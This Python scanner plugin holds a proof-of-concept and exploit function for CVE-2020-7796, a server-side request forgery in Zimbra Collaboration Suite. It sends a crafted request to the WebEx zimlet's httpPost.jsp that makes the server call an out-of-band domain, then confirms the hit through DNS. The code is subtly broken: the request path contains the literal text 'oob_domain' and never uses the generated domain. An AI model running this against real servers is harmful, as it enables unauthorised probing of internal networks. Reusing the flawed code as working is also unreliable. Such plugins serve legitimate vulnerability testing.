CVE-2020-7796.py

import requests
from plugins.oob import verify_request, gen_oob_domain



# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''Zimbra Collaboration Suite (ZCS) - SSRF''',
        "description": '''Zimbra Collaboration Suite (ZCS) before 8.8.15 Patch 7 allows SSRF when WebEx zimlet is installed and zimlet JSP is enabled.''',
        "severity": "critical",
        "references": [
            "https://www.adminxe.com/2183.html"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "cvss-score": "",
            "cve-id": "CVE-2020-7796",
            "cwe-id": "CWE-918"
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["cve", "cve2020", "zimbra", "ssrf", "oast"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)

        oob_domain,flag = gen_oob_domain()

        path = """/zimlet/com_zimbra_webex/httpPost.jsp?companyId=http://oob_domain%23"""
        method = "GET"
        data = """"""
        headers = {}
        resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        if verify_request(type="dns", flag=flag):
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url